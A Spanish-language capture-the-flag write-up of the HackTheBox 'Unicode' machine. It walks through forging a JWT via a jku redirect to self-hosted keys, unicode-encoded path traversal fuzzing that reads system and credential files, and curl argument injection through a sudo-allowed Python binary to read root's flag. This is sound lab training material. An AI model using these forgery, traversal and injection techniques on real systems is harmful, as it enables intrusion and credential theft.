Unicode es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Media.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Unicode 10.10.11.126 a /etc/hosts como unicode.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
# Nmap 7.92 scan initiated Wed Jan 12 13:13:49 2022 as: nmap -sC -sV -oA enumeration/nmap 10.10.11.126 Nmap scan report for 10.10.11.126 Host is up (0.058s latency). Not shown: 998 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 fd:a0:f7:93:9e:d3:cc:bd:c2:3c:7f:92:35:70:d7:77 (RSA) | 256 8b:b6:98:2d:fa:00:e5:e2:9c:8f:af:0f:44:99:03:b1 (ECDSA) |_ 256 c9:89:27:3e:91:cb:51:27:6f:39:89:36:10:41:df:7c (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: 503 |_http-server-header: nginx/1.18.0 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Wed Jan 12 13:14:01 2022 -- 1 IP address (1 host up) scanned in 13.03 seconds |
Bueno para variar en esta máquina también tenemos así de primeras el puerto 80 así que vamos a ver que web tenemos.
Enumeración
Revisamos el portal web cuyo aspecto es el siguiente
Se trata de un portal web muy simple, el cual dispone de una página de login y otra de registro, así que nos creamos una cuenta y accedemos para llegar a la siguiente pantalla
En este caso si que vemos alguna cosa más pero tampoco nada útil. Vemos una página de subida de ficheros pero que no nos da nada relevante así que analizamos un poco más en detalle y nos fijamos sobre todo en las cookies, donde vemos la autenticación utilizada
La autenticación se realiza por medio de tokens jwt así que nos vamos a la web de jwt.io para verificar el contenido del mismo y vemos lo siguiente
Vemos un nuevo dominio a añadir, hackmedia.htb, el algoritmo utilizado, el usuario y el jku el cual recoge un fichero json de una url que utilizará para verificar el token y cuyo contenido es el siguiente
1 2 3 4 5 6 7 8 9 10 11 12 13 |
$ curl http://hackmedia.htb/static/jwks.json { "keys": [ { "kty": "RSA", "use": "sig", "kid": "hackthebox", "alg": "RS256", "n": "AMVcGPF62MA_lnClN4Z6WNCXZHbPYr-dhkiuE2kBaEPYYclRFDa24a-AqVY5RR2NisEP25wdHqHmGhm3Tde2xFKFzizVTxxTOy0OtoH09SGuyl_uFZI0vQMLXJtHZuy_YRWhxTSzp3bTeFZBHC3bju-UxiJZNPQq3PMMC8oTKQs5o-bjnYGi3tmTgzJrTbFkQJKltWC8XIhc5MAWUGcoI4q9DUnPj_qzsDjMBGoW1N5QtnU91jurva9SJcN0jb7aYo2vlP1JTurNBtwBMBU99CyXZ5iRJLExxgUNsDBF_DswJoOxs7CAVC5FjIqhb1tRTy3afMWsmGqw8HiUA2WFYcs", "e": "AQAB" } ] } |
Buscamos en google un poco más en detalle como funciona este tipo de autenticación, y para poder hacer el bypass y acceder con el usuario admin vamos a necesitar, en primer lugar, generar unas claves público/privada que podemos hacerlo en el portal mkjwk al igual que se ve en la siguiente imagen
Y ahora que ya tenemos las credenciales tenemos todo lo necesario para modificar el token, así que tendremos que editar los siguientes campos de nuestro jwt:
- jku -> para que apunte al fichero que generemos con nuestras claves. Para ello utilizaremos la url vista al principio que hacía una redirección a google.
- user -> lo cambiaremos por el usuario admin
- public and private keys -> añadiremos las nuestras
Así que una vez aclarados los siguientes pasos editamos el token
Añadiremos nuestras claves generadas en el fichero json quedando así
1 2 3 4 5 6 7 8 9 10 11 12 |
{ "keys": [ { "kty": "RSA", "use": "sig", "kid": "hackthebox", "alg": "RS256", "n": "iP08NEYv7td61RYlN_YacGJ8MapvbUinD6yJZlXTtznmR_Po2-feylJrhMf9HJn9J5SGnWFBCSAl0-N2Ix7KPZL8VH1-jHvgDODXIfJHutJF8eW9ZAgm_3zqHmrWQDjX6CIubtwIiUpSSpFMUegh7aAr3c5Al-yF4ouuAuoZZQtRb4ZsskEzjKdMYW1fTDrEy0MyS4SH56kLe3ziNomCkxrQhuLaKgdS_EmhlWLjnNfqe1nXv2-OeZh1YWRNSjw0a1cqD31oyukEpYBI6HwQzlUxFNpS-OIOKEqVjOuJ26e16Cuv34bELxEOYJYebdswKCGx34NPrq_kS1Pk9XaRbQ", "e": "AQAB" } ] } |
Y levantaremos un servidor web con python en la ruta donde tengamos el fichero
1 |
$ python3 -m http.server 8000 |
Y cambiaremos el valor de la cookie en nuestro navegador o con la ayuda de burp para obtener acceso al panel de administración
Revisamos el portal y sólo vemos una cosa interesante en los enlaces de Current month y Last quarter donde cargan un fichero externo con una url del tipo siguiente
1 |
http://hackmedia.htb/display/?page=monthly.pdf |
Vista la forma, probamos a realizar un lfi para conseguir un fichero interno del servidor pero parece que no conseguimos nada de la forma convencional, así que viendo el título de la máquina vamos a probar a hacerlo en formato unicode y así conseguimos que funcione
Ahora para poder continuar hacemos fuerza bruta a ver si podemos obtener algún fichero interesante, para ello podemos utilizar ffuf como vemos en este ejemplo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
$ ffuf -u "http://hackmedia.htb/display/?page=︰/︰/︰/︰FUZZ" -b "auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9oYWNrbWVkaWEuaHRiL3N0YXRpYy8uLi9yZWRpcmVjdC8_dXJsPTEwLjEwLjE0LjI6ODAwMC9jandrcy5qc29uIn0.eyJ1c2VyIjoiYWRtaW4ifQ.hA4dVvVBERNzQrbdIeTgHalRMboApWZ1EEAdeZKR2t8aUbsRNrFFWtSNCkitauEL3LuI-6SiXBDDSUeGTvSc86q91A0hJYjIuyv9QVSz02Nq3ja_6YO6YFP3C9UeCfj9oMdQwV1cSVDAc71BsoBD0G1qlwZdiEe8dwsIfIxRGn5HwDb0-0Rqi_GnSsvPgYLRD59bu1DMdXPQZqCKlfGRBP4rR9P4dM2DBVWaai9owae9D9yWtv79iWF9LkOvS-2Te-cmaUi8x1o0T09NSNzvlhNasjbc-lcv_UUj8EBgh1I37QNJ6b7bPfOjqGsZQ_LOkCTphdpWwrVJNt71eFToJg" -mc 200 -w /home/asdf/github/SecLists/Fuzzing/LFI/LFI-LFISuite-pathtotest-huge.txt -fw 1299 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v1.3.1 Kali Exclusive <3 ________________________________________________ :: Method : GET :: URL : http://hackmedia.htb/display/?page=︰/︰/︰/︰FUZZ :: Wordlist : FUZZ: /home/asdf/github/SecLists/Fuzzing/LFI/LFI-LFISuite-pathtotest-huge.txt :: Header : Cookie: auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9oYWNrbWVkaWEuaHRiL3N0YXRpYy8uLi9yZWRpcmVjdC8_dXJsPTEwLjEwLjE0LjI6ODAwMC9jandrcy5qc29uIn0.eyJ1c2VyIjoiYWRtaW4ifQ.hA4dVvVBERNzQrbdIeTgHalRMboApWZ1EEAdeZKR2t8aUbsRNrFFWtSNCkitauEL3LuI-6SiXBDDSUeGTvSc86q91A0hJYjIuyv9QVSz02Nq3ja_6YO6YFP3C9UeCfj9oMdQwV1cSVDAc71BsoBD0G1qlwZdiEe8dwsIfIxRGn5HwDb0-0Rqi_GnSsvPgYLRD59bu1DMdXPQZqCKlfGRBP4rR9P4dM2DBVWaai9owae9D9yWtv79iWF9LkOvS-2Te-cmaUi8x1o0T09NSNzvlhNasjbc-lcv_UUj8EBgh1I37QNJ6b7bPfOjqGsZQ_LOkCTphdpWwrVJNt71eFToJg :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200 :: Filter : Response words: 1299 ________________________________________________ /etc/group [Status: 200, Size: 778, Words: 1, Lines: 60] /proc/self/stat [Status: 200, Size: 315, Words: 52, Lines: 2] /etc/mysql/my.cnf [Status: 200, Size: 682, Words: 89, Lines: 22] |
Y después de varias enumeraciones obtenemos un fichero bastante útil de la configuración de nginx
El cual nos da información de un posible fichero de credenciales, db.yaml, y la ruta donde se encuentra la aplicación, /home/code/coder así que vamos a tratar de obtener el mismo
Y conseguimos unas credenciales de mysql.
Obteniendo la flag de user
Utilizando las credenciales anteriores, conseguimos acceder por ssh con el usuario code y la primera flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 |
$ ssh code@unicode.htb The authenticity of host 'unicode.htb (10.10.11.126)' can't be established. ECDSA key fingerprint is SHA256:0ItJgn3BqbEjsSvZRBYXQDCZL7YXnpldg3UdP1Bl4nE. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'unicode.htb,10.10.11.126' (ECDSA) to the list of known hosts. code@unicode.htb's password: Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-81-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Wed 12 Jan 2022 01:47:29 PM UTC System load: 0.0 Processes: 315 Usage of /: 60.3% of 5.46GB Users logged in: 0 Memory usage: 94% IPv4 address for eth0: 10.10.11.126 Swap usage: 2% 8 updates can be applied immediately. 8 of these updates are standard security updates. To see these additional updates run: apt list --upgradable The list of available updates is more than a week old. To check for new updates run: sudo apt update code@code:~$ ls -l total 8 drwxr-xr-x 6 code code 4096 Dec 10 14:50 coder -rw-r----- 1 code code 33 Jan 12 12:16 user.txt code@code:~$ cat user.txt 1xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxd code@code:~$ |
Escalado de privilegios
Ahora que ya estamos dentro, revisamos si el usuario tiene permisos de sudo
1 2 3 4 5 6 |
code@code:~$ sudo -l Matching Defaults entries for code on code: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User code may run the following commands on code: (root) NOPASSWD: /usr/bin/treport |
Y vemos que tiene permisos para ejecutar como sudo un fichero ejecutable
1 2 3 4 |
code@code:~$ ll /usr/bin/treport -rwxr-xr-x 1 root root 6850224 Sep 4 10:33 /usr/bin/treport* code@code:~$ file /usr/bin/treport /usr/bin/treport: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=f6af5bc244c001328c174a6abf855d682aa7401b, for GNU/Linux 2.6.32, stripped |
Ejecutamos y probamos el mismo forzando el fallo y descubrimos que está compilado con python
1 2 3 4 5 6 7 8 9 10 11 12 13 |
code@code:~$ /usr/bin/treport 1.Create Threat Report. 2.Read Threat Report. 3.Download A Threat Report. 4.Quit. Enter your choice:1 Enter the filename:asdfdsafd Enter the report:asdfsdafd Traceback (most recent call last): File "treport.py", line 74, in <module> File "treport.py", line 13, in create PermissionError: [Errno 13] Permission denied: '/root/reports/asdfdsafd' [1667] Failed to execute script 'treport' due to unhandled exception! |
Así que vamos a utilizar la herramienta pyinstxtractor para extraer el contenido del mismo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
$ python3 /home/asdf/github/pyinstxtractor/pyinstxtractor.py treport [+] Processing treport [+] Pyinstaller version: 2.1+ [+] Python version: 38 [+] Length of package: 6798297 bytes [+] Found 46 files in CArchive [+] Beginning extraction...please standby [+] Possible entry point: pyiboot01_bootstrap.pyc [+] Possible entry point: pyi_rth_pkgutil.pyc [+] Possible entry point: pyi_rth_multiprocessing.pyc [+] Possible entry point: pyi_rth_inspect.pyc [+] Possible entry point: treport.pyc [+] Found 223 files in PYZ archive [+] Successfully extracted pyinstaller archive: treport You can now use a python decompiler on the pyc files within the extracted directory |
Vale, otra cosa conseguida, aunque parece que todavía no podemos verlo en detalle ya que ha extraido ficheros compilados por python por lo que vamos a utilizar la herrameinta pycdc que deberemos compilar previamente.
Así que nos descargamos la misma de github y la compilamos
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
$ cmake CMakeLists.txt -- The C compiler identification is GNU 9.3.0 -- The CXX compiler identification is GNU 9.3.0 -- Check for working C compiler: /usr/bin/cc -- Check for working C compiler: /usr/bin/cc -- works -- Detecting C compiler ABI info -- Detecting C compiler ABI info - done -- Detecting C compile features -- Detecting C compile features - done -- Check for working CXX compiler: /usr/bin/c++ -- Check for working CXX compiler: /usr/bin/c++ -- works -- Detecting CXX compiler ABI info -- Detecting CXX compiler ABI info - done -- Detecting CXX compile features -- Detecting CXX compile features - done -- Found PythonInterp: /usr/bin/python (found version "2.7.17") -- Configuring done -- Generating done -- Build files have been written to: /home/asdf/github/pycdc |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 |
$ make make[1]: se entra en el directorio '/home/asdf/github/pycdc' make[2]: se entra en el directorio '/home/asdf/github/pycdc' [ 2%] Generating bytes/python_10.cpp, bytes/python_11.cpp, bytes/python_13.cpp, bytes/python_14.cpp, bytes/python_15.cpp, bytes/python_16.cpp, bytes/python_20.cpp, bytes/python_21.cpp, bytes/python_22.cpp, bytes/python_23.cpp, bytes/pyth on_24.cpp, bytes/python_25.cpp, bytes/python_26.cpp, bytes/python_27.cpp, bytes/python_30.cpp, bytes/python_31.cpp, bytes/python_32.cpp, bytes/python_33.cpp, bytes/python_34.cpp, bytes/python_35.cpp, bytes/python_36.cpp, bytes/python_37.c pp, bytes/python_38.cpp, bytes/python_39.cpp, bytes/python_310.cpp Scanning dependencies of target pycxx make[2]: se sale del directorio '/home/asdf/github/pycdc' make[2]: se entra en el directorio '/home/asdf/github/pycdc' [ 4%] Building CXX object CMakeFiles/pycxx.dir/bytecode.cpp.o [ 7%] Building CXX object CMakeFiles/pycxx.dir/data.cpp.o [ 9%] Building CXX object CMakeFiles/pycxx.dir/pyc_code.cpp.o [ 12%] Building CXX object CMakeFiles/pycxx.dir/pyc_module.cpp.o [ 14%] Building CXX object CMakeFiles/pycxx.dir/pyc_numeric.cpp.o [ 17%] Building CXX object CMakeFiles/pycxx.dir/pyc_object.cpp.o [ 19%] Building CXX object CMakeFiles/pycxx.dir/pyc_sequence.cpp.o [ 21%] Building CXX object CMakeFiles/pycxx.dir/pyc_string.cpp.o [ 24%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_10.cpp.o [ 26%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_11.cpp.o [ 29%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_13.cpp.o [ 31%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_14.cpp.o [ 34%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_15.cpp.o [ 36%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_16.cpp.o [ 39%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_20.cpp.o [ 41%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_21.cpp.o [ 43%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_22.cpp.o [ 46%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_23.cpp.o [ 48%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_24.cpp.o [ 51%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_25.cpp.o [ 53%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_26.cpp.o [ 56%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_27.cpp.o [ 58%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_30.cpp.o [ 60%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_31.cpp.o [ 63%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_32.cpp.o [ 65%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_33.cpp.o [ 68%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_34.cpp.o [ 70%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_35.cpp.o [ 73%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_36.cpp.o [ 75%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_37.cpp.o [ 78%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_38.cpp.o [ 80%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_39.cpp.o [ 82%] Building CXX object CMakeFiles/pycxx.dir/bytes/python_310.cpp.o [ 85%] Linking CXX static library libpycxx.a make[2]: se sale del directorio '/home/asdf/github/pycdc' [ 85%] Built target pycxx make[2]: se entra en el directorio '/home/asdf/github/pycdc' Scanning dependencies of target pycdc make[2]: se sale del directorio '/home/asdf/github/pycdc' make[2]: se entra en el directorio '/home/asdf/github/pycdc' [ 87%] Building CXX object CMakeFiles/pycdc.dir/pycdc.cpp.o [ 90%] Building CXX object CMakeFiles/pycdc.dir/ASTree.cpp.o [ 92%] Building CXX object CMakeFiles/pycdc.dir/ASTNode.cpp.o [ 95%] Linking CXX executable pycdc make[2]: se sale del directorio '/home/asdf/github/pycdc' [ 95%] Built target pycdc make[2]: se entra en el directorio '/home/asdf/github/pycdc' Scanning dependencies of target pycdas make[2]: se sale del directorio '/home/asdf/github/pycdc' make[2]: se entra en el directorio '/home/asdf/github/pycdc' [ 97%] Building CXX object CMakeFiles/pycdas.dir/pycdas.cpp.o [100%] Linking CXX executable pycdas make[2]: se sale del directorio '/home/asdf/github/pycdc' [100%] Built target pycdas make[1]: se sale del directorio '/home/asdf/github/pycdc' |
Y ahora que ya lo tenemos lo extraemos
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 |
$ /home/asdf/github/pycdc/pycdc treport.pyc # Source Generated with Decompyle++ # File: treport.pyc (Python 3.8) import os import sys from datetime import datetime import re class threat_report: def create(self): Unsupported opcode: BEGIN_FINALLY file_name = input('Enter the filename:') content = input('Enter the report:') if '../' in file_name: print('NOT ALLOWED') sys.exit(0) file_path = '/root/reports/' + file_name # WARNING: Decompyle incomplete def list_files(self): file_list = os.listdir('/root/reports/') files_in_dir = ' '.join((lambda .0: [ str(elem) for elem in .0 ])(file_list)) print('ALL THE THREAT REPORTS:') print(files_in_dir) def read_file(self): Unsupported opcode: BEGIN_FINALLY file_name = input('\nEnter the filename:') if '../' in file_name: print('NOT ALLOWED') sys.exit(0) contents = '' file_name = '/root/reports/' + file_name # WARNING: Decompyle incomplete def download(self): now = datetime.now() current_time = now.strftime('%H_%M_%S') command_injection_list = [ '$', '`', ';', '&', '|', '||', '>', '<', '?', "'", '@', '#', '$', '%', '^', '(', ')'] ip = input('Enter the IP/file_name:') res = bool(re.search('\\s', ip)) if res: print('INVALID IP') sys.exit(0) if 'file' in ip and 'gopher' in ip or 'mysql' in ip: print('INVALID URL') sys.exit(0) cmd = '/bin/bash -c "curl ' + ip + ' -o /root/reports/threat_report_' + current_time + '"' os.system(cmd) if __name__ == '__main__': obj = threat_report() print('1.Create Threat Report.') print('2.Read Threat Report.') print('3.Download A Threat Report.') print('4.Quit.') check = True if check: choice = input('Enter your choice:') try: choice = int(choice) finally: pass print('Wrong Input') sys.exit(0) if choice == 1: obj.create() continue if choice == 2: obj.list_files() obj.read_file() continue if choice == 3: obj.download() continue if choice == 4: check = False continue print('Wrong input.') continue |
En el anterior código vemos la validación que hace para la descarga de ficheros por lo que puede ser un punto explotable.
Obteniendo la flag de root
Llegados a este punto, y conocido el código de la aplicación podemos obtener la flag de root por dos métodos.
Pasando un parámetro de curl vacío para saltar el primer paso e ir directamente al fichero
1 2 3 4 5 6 7 8 9 10 11 12 |
code@code:~$ sudo /usr/bin/treport 1.Create Threat Report. 2.Read Threat Report. 3.Download A Threat Report. 4.Quit. Enter your choice:3 Enter the IP/file_name:{--config,/root/root.txt} Warning: /root/root.txt:1: warning: 'dxxxxxxxxxxxxxxxxxxxxxxxxxxxxxa' is Warning: unknown curl: no URL specified! curl: try 'curl --help' or 'curl --manual' for more information Enter your choice: |
O descargando el fichero y leyendolo como si fuese un report
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
code@code:~$ sudo /usr/bin/treport 1.Create Threat Report. 2.Read Threat Report. 3.Download A Threat Report. 4.Quit. Enter your choice:3 Enter the IP/file_name:File:///root/root.txt % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 2590 100 2590 0 0 2529k 0 --:--:-- --:--:-- --:--:-- 2529k Enter your choice:2 ALL THE THREAT REPORTS: threat_report_15_39_23 Enter the filename:threat_report_15_39_23 dxxxxxxxxxxxxxxxxxxxxxxxxxxxxxa |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace